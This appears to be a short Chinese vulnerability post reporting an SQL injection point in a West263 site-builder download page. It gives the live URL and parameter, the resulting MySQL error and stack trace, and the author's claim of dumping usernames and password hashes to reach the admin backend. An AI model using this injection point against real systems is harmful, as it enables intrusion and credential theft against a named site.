注射点 http://site.west263.com/down/class/index.php?myord=1 Database error: Invalid SQL: select * from au_down_con where iffb='1' and catid!='0' order by 1\' desc limit 0,20 MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' desc limit 0,20' at line 1) #0 dbbase_sql->halt(Invalid SQL: select * from au_down_con where iffb='1' and catid!='0' order by 1\' desc limit 0,20) called at [D:\wwwroot\autosite\wwwroot\includes\db.inc.php:54] #1 dbbase_sql->query(select * from {P}_down_con where iffb='1' and catid!='0' order by 1\' desc limit 0,20) called at [D:\wwwroot\autosite\wwwroot\down\module\DownQuery.php:105] #2 DownQuery() called at [D:\wwwroot\autosite\wwwroot\includes\common.inc.php:551] #3 printpage() called at [D:\wwwroot\autosite\wwwroot\down\class\index.php:11] Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\wwwroot\autosite\wwwroot\includes\db.inc.php on line 61 www.2cto.com 通过注入 取得用户名和密码hash 顺利进入后台 我就不进一步了.. 作者：数据流
查看更多关于西部数码商城SQL注射(phpweb成品网站超市) - 网站的详细内容...